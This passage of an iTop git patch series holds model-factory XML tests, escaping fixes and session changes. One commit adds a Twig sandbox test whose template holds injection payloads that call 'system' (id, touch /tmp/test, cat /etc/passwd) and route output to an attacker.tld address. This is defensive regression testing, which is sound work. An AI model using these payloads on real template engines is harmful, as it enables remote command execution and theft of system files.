+XML + ); + define('CASE_ABOVE_A_FLAG', << + + + Blah + + + +XML + ); + define('CASE_IN_A_DEFINITION', << + + + Blah + + + +XML + ); + define('CASE_FLAG_ON_TARGET_define', << + + + + +XML + ); + define('CASE_FLAG_ON_TARGET_redefine', << + + + + +XML + ); + define('CASE_FLAG_ON_TARGET_needed', << + + + + +XML + ); + define('CASE_FLAG_ON_TARGET_forced', << + + + + +XML + ); + define('CASE_FLAG_ON_TARGET_removed', << + + + + +XML + ); + define('CASE_FLAG_ON_TARGET_old_id', << + + + + +XML + ); + define('CASE_MISSING_TARGET', << + + +XML + ); + $aData = [ + 'CASE_NO_FLAG Delete' => [CASE_NO_FLAG , 'Delete', << + + + + +XML + ], + 'CASE_ABOVE_A_FLAG Delete' => [CASE_ABOVE_A_FLAG , 'Delete', << + + + + +XML + ], + 'CASE_IN_A_DEFINITION Delete' => [CASE_IN_A_DEFINITION , 'Delete', << + + +XML + ], + 'CASE_FLAG_ON_TARGET_define Delete' => [CASE_FLAG_ON_TARGET_define , 'Delete', << + + +XML + ], + 'CASE_FLAG_ON_TARGET_redefine Delete' => [CASE_FLAG_ON_TARGET_redefine , 'Delete', << + + + + +XML + ], + 'CASE_FLAG_ON_TARGET_needed Delete' => [CASE_FLAG_ON_TARGET_needed , 'Delete', << + + +XML + ], + 'CASE_FLAG_ON_TARGET_forced Delete' => [CASE_FLAG_ON_TARGET_forced , 'Delete', << + + +XML + ], + 'CASE_FLAG_ON_TARGET_removed Delete' => [CASE_FLAG_ON_TARGET_removed , 'Delete', null + ], + 'CASE_FLAG_ON_TARGET_old_id Delete' => [CASE_FLAG_ON_TARGET_old_id , 'Delete', << + + + + +XML + ], + 'CASE_NO_FLAG AddChildNode' => [CASE_NO_FLAG , 'AddChildNodeToContainer', null + ], + 'CASE_ABOVE_A_FLAG AddChildNode' => [CASE_ABOVE_A_FLAG , 'AddChildNodeToContainer', null + ], + 'CASE_IN_A_DEFINITION AddChildNode' => [CASE_IN_A_DEFINITION , 'AddChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_define AddChildNode' => [CASE_FLAG_ON_TARGET_define , 'AddChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_redefine AddChildNode' => [CASE_FLAG_ON_TARGET_redefine , 'AddChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_needed AddChildNode' => [CASE_FLAG_ON_TARGET_needed , 'AddChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_forced AddChildNode' => [CASE_FLAG_ON_TARGET_forced , 'AddChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_removed AddChildNode' => [CASE_FLAG_ON_TARGET_removed , 'AddChildNodeToContainer', << + + Hello, I'm a newly added node + + +XML + ], + 'CASE_FLAG_ON_TARGET_old_id AddChildNode' => [CASE_FLAG_ON_TARGET_old_id , 'AddChildNodeToContainer', null + ], + 'CASE_MISSING_TARGET AddChildNode' => [CASE_MISSING_TARGET , 'AddChildNodeToContainer', << + + Hello, I'm a newly added node + + +XML + ], + 'CASE_NO_FLAG RedefineChildNode' => [CASE_NO_FLAG , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_ABOVE_A_FLAG RedefineChildNode' => [CASE_ABOVE_A_FLAG , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_IN_A_DEFINITION RedefineChildNode' => [CASE_IN_A_DEFINITION , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_define RedefineChildNode' => [CASE_FLAG_ON_TARGET_define , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_redefine RedefineChildNode' => [CASE_FLAG_ON_TARGET_redefine , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + // Note: buggy case ? + 'CASE_FLAG_ON_TARGET_needed RedefineChildNode' => [CASE_FLAG_ON_TARGET_needed , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_forced RedefineChildNode' => [CASE_FLAG_ON_TARGET_forced , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_removed RedefineChildNode' => [CASE_FLAG_ON_TARGET_removed , 'RedefineChildNodeToContainer', null + ], + 'CASE_FLAG_ON_TARGET_old_id RedefineChildNode' => [CASE_FLAG_ON_TARGET_old_id , 'RedefineChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_MISSING_TARGET RedefineChildNode' => [CASE_MISSING_TARGET , 'RedefineChildNodeToContainer', null + ], + 'CASE_NO_FLAG SetChildNode' => [CASE_NO_FLAG , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_ABOVE_A_FLAG SetChildNode' => [CASE_ABOVE_A_FLAG , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_IN_A_DEFINITION SetChildNode' => [CASE_IN_A_DEFINITION , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_define SetChildNode' => [CASE_FLAG_ON_TARGET_define , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_redefine SetChildNode' => [CASE_FLAG_ON_TARGET_redefine , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + // Note: buggy case ? + 'CASE_FLAG_ON_TARGET_needed SetChildNode' => [CASE_FLAG_ON_TARGET_needed , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_forced SetChildNode' => [CASE_FLAG_ON_TARGET_forced , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_removed SetChildNode' => [CASE_FLAG_ON_TARGET_removed , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_FLAG_ON_TARGET_old_id SetChildNode' => [CASE_FLAG_ON_TARGET_old_id , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + 'CASE_MISSING_TARGET SetChildNode' => [CASE_MISSING_TARGET , 'SetChildNodeToContainer', << + + Hello, I'm replacing the previous node + + +XML + ], + ]; + return $aData; + } + + /** + * @covers \ModelFactory::LoadDelta + * @covers \ModelFactory::GetDelta + * @covers \ModelFactory::GetDeltaDocument + * @dataProvider providerGetDelta + */ + public function testGetDelta($sInitialXMLInternal, $sExpectedXMLDelta) + { + // constants aren't accessible in the data provider :( + $sExpectedXMLDelta = str_replace('##ITOP_DESIGN_LATEST_VERSION##', ITOP_DESIGN_LATEST_VERSION, $sExpectedXMLDelta); + + $oFactory = $this->MakeVanillaModelFactory($sInitialXMLInternal); + + // Get the delta back + $sNewDeltaXML = $oFactory->GetDelta(); + + static::AssertEqualiTopXML($sExpectedXMLDelta, $sNewDeltaXML); + } + + /** + * @return array[] + */ + public function providerGetDelta() + { + return [ + 'no alteration' => [ + 'sInitialXMLInternal' => << + Roger Moore + + + +XML, + // Weird, but seems ok as of now + 'sExpectedXMLDelta' => << + +XML + , + ], + '_alteration="added" singleton' => [ + 'sInitialXMLInternal' => << + + +XML, + 'sExpectedXMLDelta' => << + + + + +XML + ], + '_alteration="added" with value' => [ + 'sInitialXMLInternal' => << + Roger Moore + +XML, + 'sExpectedXMLDelta' => << + + Roger Moore + +XML + ], + '_alteration="added" with subtree' => [ + 'sInitialXMLInternal' => << + + Moore + Roger + + +XML, + 'sExpectedXMLDelta' => << + + + Moore + Roger + + +XML + ], + '_alteration="forced" singleton' => [ + 'sInitialXMLInternal' => << + + +XML, + 'sExpectedXMLDelta' => << + + + +XML + ], + '_alteration="forced" with value' => [ + 'sInitialXMLInternal' => << + Roger Moore + +XML, + 'sExpectedXMLDelta' => << + + Roger Moore + +XML + ], + '_alteration="forced" with subtree' => [ + 'sInitialXMLInternal' => << + + Moore + Roger + + +XML, + 'sExpectedXMLDelta' => << + + + Moore + Roger + + +XML + ], + '_alteration="needed" singleton' => [ + 'sInitialXMLInternal' => << + + +XML, + 'sExpectedXMLDelta' => << + + + +XML + ], + '_alteration="needed" with value' => [ + 'sInitialXMLInternal' => << + Roger Moore + +XML, + 'sExpectedXMLDelta' => << + + Roger Moore + +XML + ], + '_alteration="needed" with subtree' => [ + 'sInitialXMLInternal' => << + + Moore + Roger + + +XML, + 'sExpectedXMLDelta' => << + + + Moore + Roger + + +XML + ], + '_alteration="replaced" with value' => [ + 'sInitialXMLInternal' => << + Sean Connery + +XML, + 'sExpectedXMLDelta' => << + + Sean Connery + +XML + ], + '_alteration="replaced" with subtree' => [ + 'sInitialXMLInternal' => << + + Sean + Connery + + +XML, + 'sExpectedXMLDelta' => << + + + Sean + Connery + + +XML + ], + '_alteration="removed"' => [ + 'sInitialXMLInternal' => << + + +XML, + 'sExpectedXMLDelta' => << + + + +XML + ], + '_old_id' => [ + 'sInitialXMLInternal' => << + + +XML, + 'sExpectedXMLDelta' => << + + + +XML + ], + '_old_id with subtree' => [ + 'sInitialXMLInternal' => << + + etc. + + +XML, + 'sExpectedXMLDelta' => << + + + etc. + + +XML + ], + ]; + } +} From 7e5307bd965340580d99a8e8af6006d7a650e1a0 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 16 Nov 2022 09:31:42 +0100 Subject: [PATCH 042/230] =?UTF-8?q?N=C2=B04867=20-=20"Twig=20content=20not?= =?UTF-8?q?=20allowed"=20error?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/twig/TwigTest.php | 46 ++++++++++++++++++++++--------- test/twig/attacker/backdoor | 1 + test/twig/test.html | 43 +++++++++++++++++++++-------- test/twig/test.html.twig | 54 ++++++++++++++++++++++++++++--------- 4 files changed, 108 insertions(+), 36 deletions(-) create mode 100644 test/twig/attacker/backdoor diff --git a/test/twig/TwigTest.php b/test/twig/TwigTest.php index 1457b30f6..f47bc10be 100644 --- a/test/twig/TwigTest.php +++ b/test/twig/TwigTest.php @@ -1,33 +1,55 @@ render($sFileName.'.twig'); - $this->assertSame($sHtml, $expected); + // Creating sandbox twig env. to load and test the custom form template + $oTwig = new Twig_Environment(new Twig_Loader_Array([$sId => $sFileName])); + + // Manually registering filters and functions as we didn't find how to do it automatically + $aFilters = $oAppExtension->getFilters(); + foreach ($aFilters as $oFilter) + { + $oTwig->addFilter($oFilter); + } + $aFunctions = $oAppExtension->getFunctions(); + foreach ($aFunctions as $oFunction) + { + $oTwig->addFunction($oFunction); + } + + $sHtml = $oTwig->render($sId, ['AttackerURL' => 'file://'.__DIR__.'/attacker']); + + $this->assertEquals($sExpected, $sHtml); } - public static function testTemplateProvider() + public static function TemplateProvider() { $aReturn = array(); $aReturn['filter_system'] = [ - 'sFileName' => 'test.html', - 'expected' =>file_get_contents(dirname(__FILE__).'/test.html'), + 'sFileName' => file_get_contents(__DIR__.'/test.html.twig'), + 'expected' => file_get_contents(__DIR__.'/test.html'), ]; return $aReturn; diff --git a/test/twig/attacker/backdoor b/test/twig/attacker/backdoor new file mode 100644 index 000000000..f56435e7a --- /dev/null +++ b/test/twig/attacker/backdoor @@ -0,0 +1 @@ +!!! BACKDOOR !!! \ No newline at end of file diff --git a/test/twig/test.html b/test/twig/test.html index 06cd232d3..2406bbfd4 100644 --- a/test/twig/test.html +++ b/test/twig/test.html @@ -1,12 +1,33 @@
- User Name -
-
- ["id"] -
-
- ["touch+\/tmp\/test+"] -
-
- 40, 42 -
\ No newline at end of file + User Name +
+ ['id']|filter('system') +
+ ["id"] +
+ ['touch+/tmp/test+']|filter('system')|join(',') +
+ ["touch+\/tmp\/test+"] +
+ set sizes = [34, 36, 38, 40, 42] + sizes|filter(v => v > 38)|join(', ') +
+ 40, 42 +
+ app.request.server.all|join(',') +
+ self +
+ [0]|reduce('system','echo') +
+ ["echo"] +
+ ['echo']|map('system')|join +
+ ["echo"] +
+ ['echo',1]|sort('system')|join +
+ echo1 + POST /subscribe?0=cat+/etc/passwd HTTP/1.1 + email=""@attacker.tld \ No newline at end of file diff --git a/test/twig/test.html.twig b/test/twig/test.html.twig index b2ae9dd5a..5825249c3 100644 --- a/test/twig/test.html.twig +++ b/test/twig/test.html.twig @@ -1,13 +1,41 @@ -
- {{ 'UI:Login:UserNamePrompt'|dict_s }} -
-
- {{['id']|filter('system')}} -
-
- {{['touch+/tmp/test+']|filter('system')|join(',')}} -
-
-{% set sizes = [34, 36, 38, 40, 42] %} - {{ sizes|filter(v => v > 38)|join(', ') }} -
\ No newline at end of file +{% spaceless %} +
+ {{ 'UI:Login:UserNamePrompt'|dict_s }} +
+
+ ['id']|filter('system') +
+ {{ ['id']|filter('system') }} +
+ ['touch+/tmp/test+']|filter('system')|join(',') +
+ {{ ['touch+/tmp/test+']|filter('system')|join(',') }} +
+ set sizes = [34, 36, 38, 40, 42] + sizes|filter(v => v > 38)|join(', ') +
+ {% set sizes = [34, 36, 38, 40, 42] %} + {{ sizes|filter(v => v > 38)|join(', ') }} +
+ app.request.server.all|join(',') +
+ {{ app.request.server.all|join(',') }} {# needs syfony #} +
+ self +
+ {{ self }} {# ??? not sure #} +
+ [0]|reduce('system','echo') +
+ {{ [0]|reduce('system','echo') }} +
+ ['echo']|map('system')|join +
+ {{ ['echo']|map('system')|join }} +
+ ['echo',1]|sort('system')|join +
+ {{ ['echo',1]|sort('system')|join }} + POST /subscribe?0=cat+/etc/passwd HTTP/1.1 + email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld +{% endspaceless %} \ No newline at end of file From 68d44fa9818f644238922f904704ba71e513e769 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 16 Nov 2022 09:32:47 +0100 Subject: [PATCH 043/230] =?UTF-8?q?N=C2=B05724=20-=20code=20hardening?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- pages/ajax.render.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pages/ajax.render.php b/pages/ajax.render.php index f08fea0fa..17a666c0a 100644 --- a/pages/ajax.render.php +++ b/pages/ajax.render.php @@ -1352,7 +1352,7 @@ EOF $aParams = utils::ReadParam('params', '', false, 'raw_data'); $sDashletClass = $aParams['attr_dashlet_class']; $sDashletType = $aParams['attr_dashlet_type']; - $sDashletId = $aParams['attr_dashlet_id']; + $sDashletId = utils::HtmlEntities($aParams['attr_dashlet_id']); $aUpdatedProperties = $aParams['updated']; // Code of the changed properties as an array: 'attr_xxx', 'attr_xxy', etc... $aPreviousValues = $aParams['previous_values']; // hash array: 'attr_xxx' => 'old_value' if (is_subclass_of($sDashletClass, 'Dashlet')) From 2f8f0b658c513c002dc07ef35629e7d567d06ac1 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 16 Nov 2022 09:40:19 +0100 Subject: [PATCH 044/230] =?UTF-8?q?N=C2=B05722=20-=20code=20hardening?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- webservices/export-v2.php | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/webservices/export-v2.php b/webservices/export-v2.php index 688a3aefc..aa77c31ad 100644 --- a/webservices/export-v2.php +++ b/webservices/export-v2.php @@ -14,7 +14,6 @@ use Combodo\iTop\Application\UI\Base\Component\Input\Select\SelectOptionUIBlockF use Combodo\iTop\Application\UI\Base\Component\Input\SelectUIBlockFactory; use Combodo\iTop\Application\UI\Base\Component\Input\TextArea; use Combodo\iTop\Application\UI\Base\Component\Panel\PanelUIBlockFactory; -use Combodo\iTop\Application\UI\Base\Component\Title\TitleUIBlockFactory; use Combodo\iTop\Application\UI\Base\Layout\UIContentBlockUIBlockFactory; if (!defined('__DIR__')) { @@ -27,19 +26,15 @@ require_once(APPROOT.'/core/bulkexport.class.inc.php'); require_once(APPROOT.'/application/startup.inc.php'); - - const EXIT_CODE_ERROR = -1; const EXIT_CODE_FATAL = -2; - - function ReportErrorAndExit($sErrorMessage) { if (utils::IsModeCLI()) { $oP = new CLIPage("iTop - Export"); - $oP->p('ERROR: '.$sErrorMessage); + $oP->p('ERROR: '.utils::HtmlEntities($sErrorMessage)); $oP->output(); exit(EXIT_CODE_ERROR); } @@ -47,7 +42,7 @@ function ReportErrorAndExit($sErrorMessage) { $oP = new WebPage("iTop - Export"); $oP->add_xframe_options(); - $oP->p('ERROR: '.$sErrorMessage); + $oP->p('ERROR: '.utils::HtmlEntities($sErrorMessage)); $oP->output(); exit(EXIT_CODE_ERROR); } From 282d47aed4860f6425a119c85d4daab49296f3a3 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 16 Nov 2022 13:51:38 +0100 Subject: [PATCH 045/230] =?UTF-8?q?N=C2=B05727=20-=20REST=20API/get=5Frela?= =?UTF-8?q?ted:=20Seemingly=20wrong=20results,=20when=20using=20[impacts,?= =?UTF-8?q?=20up]=20with=20[redundancy:=20true]?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/dbobjectset.class.php | 3 ++- core/dbsearch.class.php | 2 +- core/restservices.class.inc.php | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/core/dbobjectset.class.php b/core/dbobjectset.class.php index 57c2da786..6e70cbc3b 100644 --- a/core/dbobjectset.class.php +++ b/core/dbobjectset.class.php @@ -141,7 +141,7 @@ class DBObjectSet implements iDBObjectSetIterator { $sRet = ''; $this->Rewind(); - $sRet .= "Set (".$this->m_oFilter->ToOQL().")
\n"; + $sRet .= "Set (".$this->m_oFilter->ToOQL(true).")
\n"; $sRet .= "Query:
".$this->m_oFilter->MakeSelectQuery().")
\n"; $sRet .= $this->Count()." records
\n"; @@ -154,6 +154,7 @@ class DBObjectSet implements iDBObjectSetIterator } $sRet .= "\n"; } + $this->Rewind(); return $sRet; } diff --git a/core/dbsearch.class.php b/core/dbsearch.class.php index e0eb85cbe..fa1c99929 100644 --- a/core/dbsearch.class.php +++ b/core/dbsearch.class.php @@ -1717,6 +1717,6 @@ abstract class DBSearch */ public function __toString() { - return $this->ToOQL(); + return $this->ToOQL(true); } } diff --git a/core/restservices.class.inc.php b/core/restservices.class.inc.php index 518e8a8cd..2a6c1c830 100644 --- a/core/restservices.class.inc.php +++ b/core/restservices.class.inc.php @@ -574,7 +574,7 @@ class CoreServices implements iRestServiceProvider $oObject = $oElement->GetProperty('object'); if ($oObject) { - if ($bEnableRedundancy) + if ($bEnableRedundancy && $sDirection == 'down') { // Add only the "reached" objects if ($oElement->GetProperty('is_reached')) From b56f2f56f107b71ac0e54c88f421fbbd2c99d78d Mon Sep 17 00:00:00 2001 From: Romain Quetiez Date: Wed, 16 Nov 2022 17:12:53 +0100 Subject: [PATCH 046/230] =?UTF-8?q?N=C2=B05704=20-=20Fix=20compatibility?= =?UTF-8?q?=20with=20PHP=20<7.3=20(HEREDOC=20syntax)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/setup/ModelFactoryTest.php | 290 ++++++++++++++++++++------------ 1 file changed, 184 insertions(+), 106 deletions(-) diff --git a/test/setup/ModelFactoryTest.php b/test/setup/ModelFactoryTest.php index 9c92be468..46c7aef2c 100644 --- a/test/setup/ModelFactoryTest.php +++ b/test/setup/ModelFactoryTest.php @@ -129,82 +129,93 @@ class ModelFactoryTest extends ItopTestCase -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['No change at all - mini delta'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="merge" implicit'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="merge" explicit'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="merge" does not handle data'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << Ghost busters!!! -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="merge" recursively'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << @@ -213,7 +224,8 @@ XML, -XML, +XML + , 'sExpectedXML' => << @@ -222,161 +234,181 @@ XML, -XML, +XML ]; // Define or redefine $aDeltas['_delta="define" without id'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="define" with id'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="define" but existing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, - 'sExpectedXML' => null, +XML + , + 'sExpectedXML' => null ]; $aDeltas['_delta="redefine" without id'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << Gainsbourg -XML, +XML + , 'sExpectedXML' => << Gainsbourg -XML, +XML ]; $aDeltas['_delta="redefine" with id'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << Gainsbourg -XML, +XML + , 'sExpectedXML' => << Gainsbourg -XML, +XML ]; $aDeltas['_delta="redefine" but missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << Gainsbourg -XML, - 'sExpectedXML' => null, +XML + , + 'sExpectedXML' => null ]; $aDeltas['_delta="force" without id + missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << Hulk -XML, +XML + , 'sExpectedXML' => << Hulk -XML, +XML ]; $aDeltas['_delta="force" with id + missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << Hulk -XML, +XML + , 'sExpectedXML' => << Hulk -XML, +XML ]; $aDeltas['_delta="force" without id + existing node'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << Gainsbourg -XML, +XML + , 'sExpectedXML' => << Gainsbourg -XML, +XML ]; $aDeltas['_delta="force" with id + existing node'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << Gainsbourg -XML, +XML + , 'sExpectedXML' => << Gainsbourg -XML, +XML ]; // Rename @@ -385,32 +417,36 @@ XML, Kryptonite -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << Kryptonite -XML, +XML ]; $aDeltas['rename but missing node NOT INTUITIVE!!!'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; // Delete @@ -419,40 +455,46 @@ XML, Initial BB -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="delete" with id'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="delete" but missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => null, ]; $aDeltas['_delta="delete_if_exists" without id + existing node'] = [ @@ -460,56 +502,64 @@ XML, Initial BB -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="delete_if_exists" with id + existing node'] = [ 'sInitialXML' => << Initial BB -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="delete_if_exists" without id + missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="delete_if_exists" with id + missing node'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; // Conditionals @@ -518,104 +568,117 @@ XML, -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="must_exist on missing node"'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => null, ]; $aDeltas['_delta="if_exists on missing node"'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML + , ]; $aDeltas['_delta="if_exists on existing node"'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << -XML, +XML + , 'sExpectedXML' => << -XML, +XML ]; $aDeltas['_delta="define_if_not_exists on missing node"'] = [ 'sInitialXML' => << -XML, +XML + , 'sDeltaXML' => << The incredible Hulk -XML, +XML + , 'sExpectedXML' => << The incredible Hulk -XML, +XML ]; $aDeltas['_delta="define_if_not_exists on existing node"'] = [ 'sInitialXML' => << Luke Banner -XML, +XML + , 'sDeltaXML' => << The incredible Hulk -XML, +XML + , 'sExpectedXML' => << Luke Banner -XML, +XML ]; return $aDeltas; @@ -1045,7 +1108,8 @@ XML -XML, +XML + , // Weird, but seems ok as of now 'sExpectedXMLDelta' => << @@ -1058,7 +1122,8 @@ XML -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1072,7 +1137,8 @@ XML Roger Moore -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1088,7 +1154,8 @@ XML Roger -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1104,7 +1171,8 @@ XML -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1117,7 +1185,8 @@ XML Roger Moore -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1133,7 +1202,8 @@ XML Roger -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1149,7 +1219,8 @@ XML -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1162,7 +1233,8 @@ XML Roger Moore -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1178,7 +1250,8 @@ XML Roger -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1194,7 +1267,8 @@ XML Sean Connery -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1210,7 +1284,8 @@ XML Connery -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1226,7 +1301,8 @@ XML -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1239,7 +1315,8 @@ XML -XML, +XML + , 'sExpectedXMLDelta' => << @@ -1254,7 +1331,8 @@ XML etc. -XML, +XML + , 'sExpectedXMLDelta' => << From 4f14d1fb236a006e5543ae9b68372fe1e4faf215 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 22 Nov 2022 15:38:02 +0100 Subject: [PATCH 047/230] =?UTF-8?q?N=C2=B04974=20-=20Session=20rework?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/userrights.class.inc.php | 3 ++- sources/application/Helper/Session.php | 37 +++++++++++++++++++++++++- 2 files changed, 38 insertions(+), 2 deletions(-) diff --git a/core/userrights.class.inc.php b/core/userrights.class.inc.php index 2ef9b623b..2edd33a04 100644 --- a/core/userrights.class.inc.php +++ b/core/userrights.class.inc.php @@ -1838,6 +1838,7 @@ class UserRights self::$m_aAdmins = array(); self::$m_aPortalUsers = array(); } + Session::FlushSession(); self::_ResetSessionCache(); if (self::$m_oAddOn) { @@ -1936,7 +1937,7 @@ class UserRights // The bug has been fixed in PHP 7.2, but in case session_regenerate_id() // fails we just silently ignore the error and keep the same session id... $old_error_handler = set_error_handler(array(__CLASS__, 'VoidErrorHandler')); - session_regenerate_id(true); + Session::RegenerateId(true); if ($old_error_handler !== null) { set_error_handler($old_error_handler); } diff --git a/sources/application/Helper/Session.php b/sources/application/Helper/Session.php index 9a90ca5b4..512f47dcd 100644 --- a/sources/application/Helper/Session.php +++ b/sources/application/Helper/Session.php @@ -7,6 +7,8 @@ namespace Combodo\iTop\Application\Helper; +use utils; + /** * Session management * Allow early session close to have multiple ajax calls in parallel @@ -25,14 +27,19 @@ class Session public static function Start() { + if (utils::IsModeCLI()) { + return; + } + if (!self::$bIsInitialized) { session_name('itop-'.md5(APPROOT)); } + self::$bIsInitialized = true; if (!self::$bSessionStarted) { if (!is_null(self::$iSessionId)) { if (session_id(self::$iSessionId) === false) { - session_regenerate_id(); + session_regenerate_id(true); } } self::$bSessionStarted = session_start(); @@ -40,8 +47,36 @@ class Session } } + public static function FlushSession() + { + if (utils::IsModeCLI()) { + return; + } + + if (!is_null(self::$iSessionId)) { + self::$bIsInitialized = false; + self::$bSessionStarted = false; + self::Start(); + } + } + + public static function RegenerateId($bDeleteOldSession = false) + { + if (utils::IsModeCLI()) { + return; + } + + session_regenerate_id($bDeleteOldSession); + self::$bSessionStarted = session_start(); + self::$iSessionId = session_id(); + } + public static function WriteClose() { + if (utils::IsModeCLI()) { + return; + } + if (self::$bSessionStarted) { session_write_close(); self::$bSessionStarted = false; From 6b1c033ec1836fcdf47a32bd019d7190483efb96 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 23 Nov 2022 09:54:30 +0100 Subject: [PATCH 048/230] Fix CI --- test/application/Session/SessionTest.php | 221 +++++++++++------------ 1 file changed, 110 insertions(+), 111 deletions(-) diff --git a/test/application/Session/SessionTest.php b/test/application/Session/SessionTest.php index 0dd99165c..344d7bfda 